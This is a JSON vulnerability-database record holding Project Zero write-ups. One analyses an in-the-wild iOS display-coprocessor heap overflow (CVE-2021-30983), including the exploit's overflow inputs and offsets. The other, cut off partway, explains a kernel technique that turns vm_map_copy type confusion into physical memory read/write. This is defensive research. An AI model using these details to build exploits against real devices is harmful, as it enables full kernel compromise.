call\n\n(instance-16),\n\nargs->task,\n\nargs->scalar_input_0,\n\nargs->scalar_input_1,\n\nargs->remaining_scalar_inputs,\n\nargs->cntExtraScalars,\n\nargs->structInput,\n\nargs->cntStructInput);\n\nretval = convert_error(err);\n\nresult = 0;\n\n*(_DWORD *)out_struct_ptr = retval;\n\nreturn result;\n\n} \n \n--- \n \n \n\n\nThe challenge here is to figure out where that virtual call goes. The object is being looked up in a global table based on the instance id. We can't just set a breakpoint and whilst emulating the firmware is probably possible that would likely be a long project in itself. I took a hackier approach: we know that the vtable needs to be at least 0x380 bytes large so just go through all those vtables, decompile them and see if the prototypes look reasonable!\n\n \n\n\nThere's one clear match in the vtable for the UNPI type:\n\nUNPI::set_block(\n\nUNPI* this,\n\nstruct task* caller_task_ptr,\n\nunsigned int first_scalar_input,\n\nint second_scalar_input,\n\nint *remaining_scalar_inputs,\n\nuint32_t cnt_remaining_scalar_inputs,\n\nuint8_t *structure_input_buffer,\n\nuint64_t structure_input_size) \n \n--- \n \n \n\n\nHere's my reversed implementation of UNPI::set_block\n\nUNPI::set_block(\n\nUNPI* this,\n\nstruct task* caller_task_ptr,\n\nunsigned int first_scalar_input,\n\nint second_scalar_input,\n\nint *remaining_scalar_inputs,\n\nuint32_t cnt_remaining_scalar_inputs,\n\nuint8_t *structure_input_buffer,\n\nuint64_t structure_input_size)\n\n{\n\nstruct block_handler_holder *holder;\n\nstruct metadispatcher metadisp;\n\nif ( second_scalar_input )\n\nreturn 0x80000001LL;\n\nholder = this->UPPipeDCP_H13P->block_handler_holders;\n\nif ( !holder )\n\nreturn 0x8000000BLL;\n\nmetadisp.address_of_some_zerofill_static_buffer = &unk_3B8D18;\n\nmetadisp.handlers_holder = holder;\n\nmetadisp.structure_input_buffer = structure_input_buffer;\n\nmetadisp.structure_input_size = structure_input_size;\n\nmetadisp.remaining_scalar_inputs = remaining_scalar_inputs;\n\nmetadisp.cnt_remaining_sclar_input = cnt_remaining_scalar_inputs;\n\nmetadisp.some_flags = 0x40000000LL;\n\nmetadisp.dispatcher_fptr = a_dispatcher;\n\nmetadisp.offset_of_something_which_looks_serialization_related = &off_1C1308;\n\nreturn metadispatch(holder, first_scalar_input, 1, caller_task_ptr, structure_input_buffer, &metadisp, 0);\n\n} \n \n--- \n \n \n\n\nThis method wraps up the arguments into another structure I've called metadispatcher:\n\n \n\n\nstruct __attribute__((aligned(8))) metadispatcher\n\n{\n\nuint64_t address_of_some_zerofill_static_buffer;\n\nuint64_t some_flags;\n\n__int64 (__fastcall *dispatcher_fptr)(struct metadispatcher *, struct BlockHandler *, __int64, _QWORD);\n\nuint64_t offset_of_something_which_looks_serialization_related;\n\nstruct block_handler_holder *handlers_holder;\n\nuint64_t structure_input_buffer;\n\nuint64_t structure_input_size;\n\nuint64_t remaining_scalar_inputs;\n\nuint32_t cnt_remaining_sclar_input;\n\n}; \n \n--- \n \n \n\n\nThat metadispatcher object is then passed to this method:\n\n \n\n\nreturn metadispatch(holder, first_scalar_input, 1, caller_task_ptr, structure_input_buffer, &metadisp, 0); \n \n--- \n \n \n\n\nIn there we reach this code:\n\n \n\n\nblock_type_handler = lookup_a_handler_for_block_type_and_subtype(\n\na1,\n\nfirst_scalar_input, // block_type\n\na3); // subtype \n \n--- \n \n \n\n\nThe exploit calls this set_block external method twice, passing two different values for first_scalar_input, 7 and 19. Here we can see that those correspond to looking up two different block handler objects here.\n\n \n\n\nThe lookup function searches a linked list of block handler structures; the head of the list is stored at offset 0x1448 in the UPPipeDCP_H13P object and registered dynamically by a method I've named add_handler_for_block_type:\n\n \n\n\nadd_handler_for_block_type(struct block_handler_holder *handler_list,\n\nstruct BlockHandler *handler) \n \n--- \n \nThe logging code tells us that this is in a file called IOMFBBlockManager.cpp. IDA finds 44 cross-references to this method, indicating that there are probably that many different block handlers. The structure of each registered block handler is something like this:\n\n \n\n\nstruct __cppobj BlockHandler : RTKIT_RC_RTTI_BASE\n\n{\n\nuint64_t field_16;\n\nstruct handler_inner_types_entry *inner_types_array;\n\nuint32_t n_inner_types_array_entries;\n\nuint32_t field_36;\n\nuint8_t can_run_without_commandgate;\n\nuint32_t block_type;\n\nuint64_t list_link;\n\nuint64_t list_other_link;\n\nuint32_t some_other_type_field;\n\nuint32_t some_other_type_field2;\n\nuint32_t expected_structure_io_size;\n\nuint32_t field_76;\n\nuint64_t getBlock_Impl;\n\nuint64_t setBlock_Impl;\n\nuint64_t field_96;\n\nuint64_t back_ptr_to_UPPipeDCP_H13P;\n\n}; \n \n--- \n \n \n\n\nThe RTTI type is BLHA (BLock HAndler.)\n\n \n\n\nFor example, here's the codepath which builds and registers block handler type 24:\n\n \n\n\nBLHA_24 = (struct BlockHandler *)CXXnew(112LL);\n\nBLHA_24->__vftable = (BlockHandler_vtbl *)BLHA_super_vtable;\n\nBLHA_24->block_type = 24;\n\nBLHA_24->refcnt = 1;\n\nBLHA_24->can_run_without_commandgate = 0;\n\nBLHA_24->some_other_type_field = 0LL;\n\nBLHA_24->expected_structure_io_size = 0xD20;\n\ntypeid = typeid_BLHA();\n\nBLHA_24->typeid = typeid;\n\nmodify_typeid_ref(typeid, 1);\n\nBLHA_24->__vftable = vtable_BLHA_subclass_type_24;\n\nBLHA_24->inner_types_array = 0LL;\n\nBLHA_24->n_inner_types_array_entries = 0;\n\nBLHA_24->getBlock_Impl = BLHA_24_getBlock_Impl;\n\nBLHA_24->setBlock_Impl = BLHA_24_setBlock_Impl;\n\nBLHA_24->field_96 = 0LL;\n\nBLHA_24->back_ptr_to_UPPipeDCP_H13P = a1;\n\nadd_handler_for_block_type(list_holder, BLHA_24); \n \n--- \n \n \n\n\nEach block handler optionally has getBlock_Impl and setBlock_Impl function pointers which appear to implement the actual setting and getting operations.\n\n \n\n\nWe can go through all the callsites which add block handlers; tell IDA the type of the arguments and name all the getBlock and setBlock implementations:\n\n \n\n\n[](<https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg-Z34Qgm9fUE2rzMwJWQ3j-w7InvtfHj5fs2qctSh0tTFmMbUpnrsQC4rUrhMf3_83uHAFinlM6xKqKXgUc2QR5IfL0gf4YEBM9Rqgrc6sNYsaCZ-JAe0PHlGa9VYcBgWfTqj5rTtin1mWTDG-I8K5M41EhA64KLNV54Sv9lvtbYIrkY2j37X6SniB/s1436/Screenshot%202022-06-22%20at%2016.53.47.png>)\n\nYou can perhaps see where this is going: that's looking like really quite a lot of reachable attack surface! Each of those setBlock_Impl functions is reachable by passing a different value for the first scalar argument to IOConnectCallMethod 78.\n\n \n\n\nThere's a little bit more reversing though to figure out how exactly to get controlled bytes to those setBlock_Impl functions:\n\n## Memory Mapping\n\nThe raw \"block\" input to each of those setBlock_Impl methods isn't passed inline in the IOConnectCallMethod structure input. There's another level of indirection: each individual block handler structure has an array of supported \"subtypes\" which contains metadata detailing where to find the (userspace) pointer to that subtype's input data in the IOConnectCallMethod structure input. The first dword in the structure input is the id of this subtype - in this case for the block handler type 19 the metadata array has a single entry:\n\n \n\n\n<2, 0, 0x5F8, 0x600>\n\n \n\n\nThe first value (2) is the subtype id and 0x5f8 and 0x600 tell the DCP from what offset in the structure input data to read a pointer and size from. The DCP then requests a memory mapping from the AP for that memory from the calling task:\n\n \n\n\nreturn wrap_MemoryDescriptor::withAddressRange(\n\n*(void*)(structure_input_buffer + addr_offset),\n\n*(unsigned int *)(structure_input_buffer + size_offset),\n\ncaller_task_ptr); \n \n--- \n \n \n\n\nWe saw earlier that the AP sends the DCP the struct task pointer of the calling task; when the DCP requests a memory mapping from a user task it sends those raw task struct pointers back to the AP such that the kernel can perform the mapping from the correct task. The memory mapping is abstracted as an MDES object on the DCP side; the implementation of the mapping involves the DCP making an RPC to the AP:\n\n \n\n\nmake_link_call('D453', &req, 0x20, &resp, 0x14); \n \n--- \n \n \n\n\nwhich corresponds to a call to this method on the AP side:\n\n \n\n\nIOMFB::MemDescRelay::withAddressRange(unsigned long long, unsigned long long, unsigned int, task*, unsigned long*, unsigned long long*) \n \n--- \n \n \n\n\nThe DCP calls ::prepare and ::map on the returned MDES object (exactly like an IOMemoryDescriptor object in IOKit), gets the mapped pointer and size to pass via a few final levels of indirection to the block handler:\n\n \n\n\na_descriptor_with_controlled_stuff->dispatcher_fptr(\n\na_descriptor_with_controlled_stuff,\n\nblock_type_handler,\n\nimportant_ptr,\n\nimportant_size); \n \n--- \n \n \n\n\nwhere the dispatcher_fptr looks like this:\n\n \n\n\na_dispatcher(\n\nstruct metadispatcher *disp,\n\nstruct BlockHandler *block_handler,\n\n__int64 controlled_ptr,\n\nunsigned int controlled_size)\n\n{\n\nreturn block_handler->BlockHandler_setBlock(\n\nblock_handler,\n\ndisp->structure_input_buffer,\n\ndisp->structure_input_size,\n\ndisp->remaining_scalar_inputs,\n\ndisp->cnt_remaining_sclar_input,\n\ndisp->handlers_holder->gate,\n\ncontrolled_ptr,\n\ncontrolled_size);\n\n} \n \n--- \n \n \n\n\nYou can see here just how useful it is to keep making structure definitions while reversing; there are so many levels of indirection that it's pretty much impossible to keep it all in your head.\n\n \n\n\nBlockHandler_setBlock is a virtual method on BLHA. This is the implementation for BLHA 19:\n\n \n\n\nBlockHandler19::setBlock(\n\nstruct BlockHandler *this,\n\nvoid *structure_input_buffer,\n\nint64 structure_input_size,\n\nint64 *remaining_scalar_inputs,\n\nunsigned int cnt_remaining_scalar_inputs,\n\nstruct CommandGate *gate,\n\nvoid* mapped_mdesc_ptr,\n\nunsigned int mapped_mdesc_length) \n \n--- \n \n \n\n\nThis uses a Command Gate (GATI) object (like a call gate in IOKit to serialise calls) to finally get close to actually calling the setBlock_Impl function.\n\n \n\n\nWe need to reverse the gate_context structure to follow the controlled data through the gate:\n\n \n\n\nstruct __attribute__((aligned(8))) gate_context\n\n{\n\nstruct BlockHandler *the_target_this;\n\nuint64_t structure_input_buffer;\n\nvoid *remaining_scalar_inputs;\n\nuint32_t cnt_remaining_scalar_inputs;\n\nuint32_t field_28;\n\nuint64_t controlled_ptr;\n\nuint32_t controlled_length;\n\n}; \n \n--- \n \n \n\n\nThe callgate object uses that context object to finally call the BLHA setBlock handler:\n\n \n\n\ncallback_used_by_callgate_in_block_19_setBlock(\n\nstruct UnifiedPipeline *parent_pipeline,\n\nstruct gate_context *context,\n\nint64 a3,\n\nint64 a4,\n\nint64 a5)\n\n{\n\nreturn context->the_target_this->setBlock_Impl)(\n\ncontext->the_target_this->back_ptr_to_UPPipeDCP_H13P,\n\ncontext->structure_input_buffer,\n\ncontext->remaining_scalar_inputs,\n\ncontext->cnt_remaining_scalar_inputs,\n\ncontext->controlled_ptr,\n\ncontext->controlled_length);\n\n} \n \n--- \n \n## SetBlock_Impl\n\nAnd finally we've made it through the whole callstack following the controlled data from IOConnectCallMethod in userspace on the AP to the setBlock_Impl methods on the DCP!\n\n \n\n\nThe prototype of the setBlock_Impl methods looks like this:\n\n \n\n\nsetBlock_Impl(struct UPPipeDCP_H13P *pipe_parent,\n\nvoid *structure_input_buffer,\n\nint *remaining_scalar_inputs,\n\nint cnt_remaining_scalar_inputs,\n\nvoid* ptr_via_memdesc,\n\nunsigned int len_of_memdesc_mapped_buf) \n \n--- \n \n \n\n\nThe exploit calls two setBlock_Impl methods; 7 and 19. 7 is fairly simple and seems to just be used to put controlled data in a known location. 19 is the buggy one. From the log strings we can tell that block type 19 handler is implemented in a file called UniformityCompensator.cpp.\n\n \n\n\n[Uniformity Compensation](<https://www.benq.com/en-us/knowledge-center/knowledge/screen-uniformity.html>) is a way to correct for inconsistencies in brightness and colour reproduction across a display panel. Block type 19 sets and gets a data structure containing this correction information. The setBlock_Impl method calls UniformityCompensator::set and reaches the following code snippet where controlled_size is a fully-controlled u32 value read from the structure input and indirect_buffer_ptr points to the mapped buffer, the contents of which are also controlled:\n\nuint8_t* pages = compensator->inline_buffer; // +0x24\n\nfor (int pg_cnt = 0; pg_cnt < 3; pg_cnt++) {\n\nuint8_t* this_page = pages;\n\nfor (int i = 0; i < controlled_size; i++) {\n\nmemcpy(this_page, indirect_buffer_ptr, 4 * controlled_size);\n\nindirect_buffer_ptr += 4 * controlled_size;\n\nthis_page += 0x100;\n\n}\n\npages += 0x4000;\n\n} \n \n--- \n \nThere's a distinct lack of bounds checking on controlled_size. Based on the structure of the code it looks like it should be restricted to be less than or equal to 64 (as that would result in the input being completely copied to the output buffer.) The compensator->inline_buffer buffer is inline in the compensator object. The structure of the code makes it look that that buffer is probably 0xc000 (three 16k pages) large. To verify this we need to find the allocation site of this compensator object.\n\n \n\n\nIt's read from the pipe_parent object and we know that at this point pipe_parent is a UPPipeDCP_H13P object.\n\n \n\n\nThere's only one write to that field, here in UPPipeDCP_H13P::setup_tunables_base_target:\n\n \n\n\ncompensator = CXXnew(0xC608LL);\n\n...\n\nthis->compensator = compensator; \n \n--- \n \n \n\n\nThe compensator object is a 0xc608 byte allocation; the 0xc000 sized buffer starts at offset 0x24 so the allocation has enough space for 0xc608-0x24=0xC5E4 bytes before corrupting neighbouring objects.\n\n \n\n\nThe structure input provided by the exploit for the block handler 19 setBlock call looks like this:\n\n \n\n\nstruct_input_for_block_handler_19[0x5F4] = 70; // controlled_size\n\nstruct_input_for_block_handler_19[0x5F8] = address;\n\nstruct_input_for_block_handler_19[0x600] = a_size; \n \n--- \n \n \n\n\nThis leads to a value of 70 (0x46) for controlled_size in the UniformityCompensator::set snippet shown earlier. (0x5f8 and 0x600 correspond to the offsets we saw earlier in the subtype's table: <2, 0, 0x5F8, 0x600>)\n\n \n\n\nThe inner loop increments the destination pointer by 0x100 each iteration so 0x46 loop iterations will write 0x4618 bytes.\n\n \n\n\nThe outer loop writes to three subsequent 0x4000 byte blocks so the third (final) iteration starts writing at 0x24 + 0x8000 and writes a total of 0x4618 bytes, meaning the object would need to be 0xC63C bytes; but we can see that it's only 0xc608, meaning that it will overflow the allocation size by 0x34 bytes. The RTKit malloc implementation looks like it adds 8 bytes of metadata to each allocation so the next object starts at 0xc610.\n\n \n\n\nHow much input is consumed? The input is fully consumed with no \"rewinding\" so it's 3*0x46*0x46*4 = 0xe5b0 bytes. Working backwards from the end of that buffer we know that the final 0x34 bytes of it go off the end of the 0xc608 allocation which means +0xe57c in the input buffer will be the first byte which corrupts the 8 metadata bytes and +0x8584 will be the first byte to corrupt the next object:\n\n \n\n\n[](<https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjTc6JqgJIYvcwLtg14PNyjGRL4ds-1hzVvPPYmuSbJ3TiMHTXI3loB4Ib4caBv06WwUAa2H3eEldnlVKePnyUDTxYy6-W0VyMbVSn1YrcilcuOmjeYPwzdQ0ONiWlZbc34oZBXv6hftbOK57Qu_NupLfhgI-Iqc9U51KfJVF5YRk4YmBFcYdoaH27q/s1888/Screenshot%202022-06-22%20at%2016.54.15.png>)\n\nThis matches up exactly with the overflow object which the exploit builds:\n\n \n\n\nv24 = address + 0xE584;\n\nv25 = *(_DWORD *)&v54[48];\n\nv26 = *(_OWORD *)&v54[32];\n\nv27 = *(_OWORD *)&v54[16];\n\n*(_OWORD *)(address + 0xE584) = *(_OWORD *)v54;\n\n*(_OWORD *)(v24 + 16) = v27;\n\n*(_OWORD *)(v24 + 32) = v26;\n\n*(_DWORD *)(v24 + 48) = v25; \n \n--- \n \n \n\n\nThe destination object seems to be allocated very early and the DCP RTKit environment appears to be very deterministic with no ASLR. Almost certainly they are attempting to corrupt a neighbouring C++ object with a fake vtable pointer.\n\n \n\n\nUnfortunately for our analysis the trail goes cold here and we can't fully recreate the rest of the exploit. The bytes for the fake DCP C++ object are read from a file in the app's temporary directory (base64 encoded inside a JSON file under the exploit_struct_offsets key) and I don't have a copy of that file. But based on the flow of the rest of the exploit it's pretty clear what happens next:\n\n## sudo make me a DART mapping\n\nThe DCP, like other coprocessors on iPhone, sits behind a DART (Device Address Resolution Table.) This is like an SMMU (IOMMU in the x86 world) which forces an extra layer of physical address lookup between the DCP and physical memory. [DART was covered in great detail in Gal Beniamini's Over The Air - Vol. 2, Pt. 3 blog post](<https://googleprojectzero.blogspot.com/2017/10/over-air-vol-2-pt-3-exploiting-wi-fi.html>).\n\n \n\n\nThe DCP clearly needs to access lots of buffers owned by userspace tasks as well as memory managed by the kernel. To do this the DCP makes RPC calls back to the AP which modifies the DART entries accordingly. This appears to be exactly what the DCP exploit does: the D45X family of DCP->AP RPC methods appear to expose an interface for requesting arbitrary physical as well as virtual addresses to be mapped into the DCP DART.\n\n \n\n\nThe fake C++ object is most likely a stub which makes such calls on behalf of the exploit, allowing the exploit to read and write kernel memory.\n\n## Conclusions\n\nSegmentation and isolation are in general a positive thing when it comes to security. However, splitting up an existing system into separate, intercommunicating parts can end up exposing unexpected code in unexpected ways.\n\n \n\n\nWe've had discussions within Project Zero about whether this DCP vulnerability is interesting at all. After all, if the UniformityCompensator code was going to be running on the Application Processors anyway then the Display Co-Processor didn't really introduce or cause this bug.\n\n \n\n\nWhilst that's true, it's also the case that the DCP certainly made exploitation of this bug significantly easier and more reliable than it would have been on the AP. Apple has invested heavily in memory corruption mitigations over the last few years, so moving an attack surface from a \"mitigation heavy\" environment to a \"mitigation light\" one is a regression in that sense.\n\n \n\n\nAnother perspective is that the DCP just isn't isolated enough; perhaps the intention was to try to isolate the code on the DCP such that even if it's compromised it's limited in the effect it could have on the entire system. For example, there might be models where the DCP to AP RPC interface is much more restricted.\n\n \n\n\nBut again there's a tradeoff: the more restrictive the RPC API, the more the DCP code has to be refactored - a significant investment. Currently, the codebase relies on being able to map arbitrary memory and the API involves passing userspace pointers back and forth.\n\n \n\n\nI've discussed in recent posts how attackers tend to be ahead of the curve. As the curve slowly shifts towards memory corruption exploitation getting more expensive, attackers are likely shifting too. We saw that in the [logic-bug sandbox escape used by NSO](<https://googleprojectzero.blogspot.com/2022/03/forcedentry-sandbox-escape.html>) and we see that here in this memory-corruption-based privilege escalation that side-stepped kernel mitigations by corrupting memory on a co-processor instead. Both are quite likely to continue working in some form in a post-memory tagging world. Both reveal the stunning depth of attack surface available to the motivated attacker. And both show that defensive security research still has a lot of work to do.\n", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 7.8, "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2022-06-23T00:00:00", "type": "googleprojectzero", "title": "\nThe curious tale of a fake Carrier.app\n", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-30983"], "modified": "2022-06-23T00:00:00", "id": "GOOGLEPROJECTZERO:134E75915DAD18CF160898445DC5FC4A", "href": "https://googleprojectzero.blogspot.com/2022/06/curious-case-carrier-app.html", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2023-06-07T02:00:32", "description": "Posted by Brandon Azad, Project Zero\n\n** \n**\n\nOne Byte to rule them all, One Byte to type them,\n\nOne Byte to map them all, and in userspace bind them\n\n\\-- Comment above vm_map_copy_t\n\n** \n**\n\nFor the last several years, nearly all iOS kernel exploits have followed the same high-level flow: memory corruption and fake Mach ports are used to gain access to the kernel task port, which provides an ideal kernel read/write primitive to userspace. Recent iOS kernel exploit mitigations like PAC and zone_require seem geared towards breaking the canonical techniques seen over and over again to achieve this exploit flow. But the fact that so many iOS kernel exploits look identical from a high level begs questions: Is targeting the kernel task port really the best exploit flow? Or has the convergence on this strategy obscured other, perhaps more interesting, techniques? And are existing iOS kernel mitigations equally effective against other, previously unseen exploit flows?\n\n** \n**\n\nIn this blog post, I'll describe a new iOS kernel exploitation technique that turns a one-byte controlled heap overflow directly into a read/write primitive for arbitrary physical addresses, all while completely sidestepping current mitigations such as KASLR, PAC, and zone_require. By reading a special hardware register, it's possible to locate the kernel in physical memory and build a kernel read/write primitive without a fake kernel task port. I'll conclude by discussing how effective various iOS mitigations were or could be at blocking this technique and by musing on the state-of-the-art of iOS kernel exploitation. You can find the proof-of-concept code [here](<https://bugs.chromium.org/p/project-zero/issues/detail?id=1986#c7>).\n\n# I - The Fellowship of the Wiring\n\n## A struct of power\n\nWhile looking through the XNU sources, I often keep an eye out for interesting objects to manipulate or corrupt for future exploits. Soon after discovering [CVE-2020-3837](<https://bugs.chromium.org/p/project-zero/issues/detail?id=1986>) (the oob_timestamp vulnerability), I stumbled across the definition of vm_map_copy_t:\n\n** \n**\n\nstruct vm_map_copy {\n\nint type;\n\n#define VM_MAP_COPY_ENTRY_LIST 1\n\n#define VM_MAP_COPY_OBJECT 2\n\n#define VM_MAP_COPY_KERNEL_BUFFER 3\n\nvm_object_offset_t offset;\n\nvm_map_size_t size;\n\nunion {\n\nstruct vm_map_header hdr; /* ENTRY_LIST */\n\nvm_object_t object; /* OBJECT */\n\nuint8_t kdata[0]; /* KERNEL_BUFFER */\n\n} c_u;\n\n};\n\n** \n**\n\nThis looked interesting to me for several reasons:\n\n** \n**\n\n 1. The structure has a type field at the very start, so an out-of-bounds write could change it from one type to another, leading to type confusion. Because iOS is little-endian, the least significant byte comes first in memory, meaning that even a single-byte overflow would be sufficient to set the type to any of the three values. \n\n\n 2. The type discriminates a union between arbitrary controlled data (kdata) and kernel pointers (hdr and object). Thus, corrupting the type could let us directly fake pointers to kernel objects without needing to perform any reallocations. \n\n\n 3. I remembered reading about vm_map_copy_t being used as an interesting primitive in past exploits (before iOS 10), though I couldn't remember where or how it was used. vm_map_copy objects were also used by Ian Beer in [Splitting atoms in XNU](<https://googleprojectzero.blogspot.com/2019/04/splitting-atoms-in-xnu.html>).\n\n** \n**\n\nSo, vm_map_copy looks like a possibly interesting target for corruption; however, it's only truly interesting if the code uses it in a truly interesting way.\n\n** \n**\n\nDigging through osfmk/vm/vm_map.c, I found that vm_map_copyout_internal() does indeed use the copy object in a very interesting way. But first, let's talk a little more about what vm_map_copy is and how it works.\n\n** \n**\n\nA vm_map_copy represents a copy-on-write slice of a process's virtual address space which has been packaged up, ready to be inserted into another virtual address space. There are three possible internal representations: as a list of vm_map_entry objects, as a vm_object, or as an inline array of bytes to be directly copied into the destination. We'll focus on types 1 and 3.\n\n** \n**\n\nFundamentally, the ENTRY_LIST type is the most powerful and general representation, while the KERNEL_BUFFER type is strictly an optimization. A vm_map_entry list consists of several allocations and several layers of indirection: each vm_map_entry describes a virtual address range [vme_start, vme_end) that is being mapped by a specific vm_object, which in turn contains a list of vm_pages describing the physical pages backing the vm_object.\n\n[](<https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEic4hreI0hfMJ2MT5peRi9VCACZRAR-I4xIvDv7AkSHU4ENT6ei3oRAAzvykwqiauJQaHrZ_lSdmIAr4Fw0PdFiEOvHelfctOZi6CuLKrbKcQLuoKunQyHKeaX4k7pQvSiTAiCiN2IsY6vnZz7u4rdPqtoEILNRah5vtoQvOr5AIWA2itCB0Xya0N7z/s2048/image18.png>)\n\nMeanwhile, if the data being inserted is not shared memory and if the size is roughly two pages or less, then the vm_map_copy is simply over-allocated to hold the data contents inline in the same allocation, no indirection or further allocations required.\n\n[](<https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhw9Ao4lNHcoZga_3aV6ADp50oD4izUljSssWDF-SEVmMK3CLLJXhEtG24dmfulP2X1H8lMjiLZbPZJmaGVVqdIVaAKAj5_OfgCLVCtsKs7HJIz3bppCtbVc78FhVNb-ycAXsvb69LTmUj79fh_8kgktF1dhNFySchOlB0EfeJUOjPd8qqDcizgfZer/s1800/image5%283%29.png>)\n\nAs a consequence of this optimization, the 8 bytes of the vm_map_copy object at offset 0x20 can be either a pointer to the head of a vm_map_entry list, or fully attacker-controlled data, all depending on the type field at the start. So corrupting the first byte of a vm_map_copy object causes the kernel to interpret arbitrary controlled data as a vm_map_entry pointer.\n\n[](<https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgvmpDgnut3F_02bzdbs47xMgj3g9rVLpJ4xcdFhc9nsyI-bp_3hHblPVBOkneJwohvUkT0clM2WizRi7adnLetgFA23l3QUR0m4ayMlZBZ_E7QL7a-_kows119ooQfI4lyjIQPNgWfgoBRQqpV6ZRNmRW8A-mXua17jh5BGdOK6mqSIknSjkmClPa_/s1800/image6%284%29.png>)\n\nWith this understanding of vm_map_copy internals, let's turn back to vm_map_copyout_internal(). This function is responsible for taking a vm_map_copy and inserting it into the destination address space (represented by type vm_map_t). It is reachable when sharing memory between processes by sending an out-of-line memory descriptor in a Mach message: the out-of-line memory is stored in the kernel as a vm_map_copy, and vm_map_copyout_internal() is the function that inserts it into the receiver's process.\n\n** \n**\n\nAs it turns out, things get rather exciting if vm_map_copyout_internal() processes a corrupted vm_map_copy containing a pointer to a fake vm_map_entry hierarchy. In particular, consider what happens if the fake vm_map_entry claims to be wired, which causes the function to try to fault in the page immediately:\n\n** \n**\n\nkern_return_t\n\nvm_map_copyout_internal(\n\nvm_map_t dst_map,\n\nvm_map_address_t *dst_addr, /* OUT */\n\nvm_map_copy_t copy,\n\nvm_map_size_t copy_size,\n\nboolean_t consume_on_success,\n\nvm_prot_t cur_protection,\n\nvm_prot_t max_protection,\n\nvm_inherit_t inheritance)\n\n{\n\n...\n\nif (copy->type == VM_MAP_COPY_OBJECT) {\n\n...\n\n}\n\n...\n\nif (copy->type == VM_MAP_COPY_KERNEL_BUFFER) {\n\n...\n\n}\n\n...\n\nvm_map_lock(dst_map);\n\n...\n\nadjustment = start - vm_copy_start;\n\n...\n\n/*\n\n* Adjust the addresses in the copy chain, and\n\n* reset the region attributes.\n\n*/\n\nfor (entry = vm_map_copy_first_entry(copy);\n\nentry != vm_map_copy_to_entry(copy);\n\nentry = entry->vme_next) {\n\n...\n\nentry->vme_start += adjustment;\n\nentry->vme_end += adjustment;\n\n...\n\n/*\n\n* If the entry is now wired,\n\n* map the pages into the destination map.\n\n*/\n\nif (entry->wired_count != 0) {\n\n...\n\nobject = VME_OBJECT(entry);\n\noffset = VME_OFFSET(entry);\n\n...\n\nwhile (va < entry->vme_end) {\n\n...\n\nm = vm_page_lookup(object, offset);\n\n...\n\nvm_fault_enter(m, // Calls pmap_enter_options()\n\ndst_map->pmap, // to map m->vmp_phys_page.\n\nva,\n\nprot,\n\nprot,\n\nVM_PAGE_WIRED(m),\n\nFALSE, /* change_wiring */\n\nVM_KERN_MEMORY_NONE, /* tag - not wiring */\n\n&fault_info,\n\nNULL, /* need_retry */\n\n&type_of_fault);\n\n...\n\noffset += PAGE_SIZE_64;\n\nva += PAGE_SIZE;\n\n}\n\n}\n\n}\n\n...\n\nvm_map_copy_insert(dst_map, last, copy);\n\n...\n\nvm_map_unlock(dst_map);\n\n...\n\n}\n\n** \n**\n\nLet's walk through this step-by-step. First, other vm_map_copy types are handled:\n\n** \n**\n\nif (copy->type == VM_MAP_COPY_OBJECT) {\n\n...\n\n}\n\n...\n\nif (copy->type == VM_MAP_COPY_KERNEL_BUFFER) {\n\n...\n\n}\n\n** \n**\n\nThe vm_map is locked:\n\n** \n**\n\nvm_map_lock(dst_map);\n\n** \n**\n\nWe enter a for loop over the linked list of (fake) vm_map_entry objects:\n\n** \n**\n\nfor (entry = vm_map_copy_first_entry(copy);\n\nentry != vm_map_copy_to_entry(copy);\n\nentry = entry->vme_next) {\n\n** \n**\n\nWe handle the case where the vm_map_entry is wired and should thus be faulted in immediately:\n\n** \n**\n\nif (entry->wired_count != 0) {\n\n** \n**\n\nWhen set, we loop over every virtual address in the wired entry. Since we control the contents of the fake vm_map_entry, we can control the object pointer (of type vm_object) and offset value that are read:\n\n** \n**\n\nobject = VME_OBJECT(entry);\n\noffset = VME_OFFSET(entry);\n\n...\n\nwhile (va < entry->vme_end) {\n\n** \n**\n\nWe look up the vm_page struct for each physical page of memory that needs to be wired in. Since we control the fake vm_object and the offset, we can cause vm_page_lookup() to return a pointer to a fake vm_page struct whose contents we control:\n\n** \n**\n\nm = vm_page_lookup(object, offset);\n\n** \n**\n\nAnd finally, we call vm_fault_enter() to fault in the page:\n\n** \n**\n\nvm_fault_enter(m, // Calls pmap_enter_options()\n\ndst_map->pmap, // to map m->vmp_phys_page.\n\nva,\n\nprot,\n\nprot,\n\nVM_PAGE_WIRED(m),\n\nFALSE, /* change_wiring */\n\nVM_KERN_MEMORY_NONE, /* tag - not wiring */\n\n&fault_info,\n\nNULL, /* need_retry */\n\n&type_of_fault);\n\n** \n**\n\nThe call to vm_fault_enter() is rather complicated, so I won't put the code here. Suffice to say, by setting fields in our fake objects appropriately, it is possible to navigate vm_fault_enter() with a fake vm_page object in order to reach a call to pmap_enter_options() with a completely arbitrary physical page number:\n\n** \n**\n\nkern_return_t\n\npmap_enter_options(\n\npmap_t pmap,\n\nvm_map_address_t v,\n\nppnum_t pn,\n\nvm_prot_t prot,\n\nvm_prot_t fault_type,\n\nunsigned int flags,\n\nboolean_t wired,\n\nunsigned int options,\n\n__unused void *arg)\n\n** \n**\n\npmap_enter_options() is responsible for modifying the page tables of the destination to insert the translation table entry that will establish a mapping from a virtual address to a physical address. 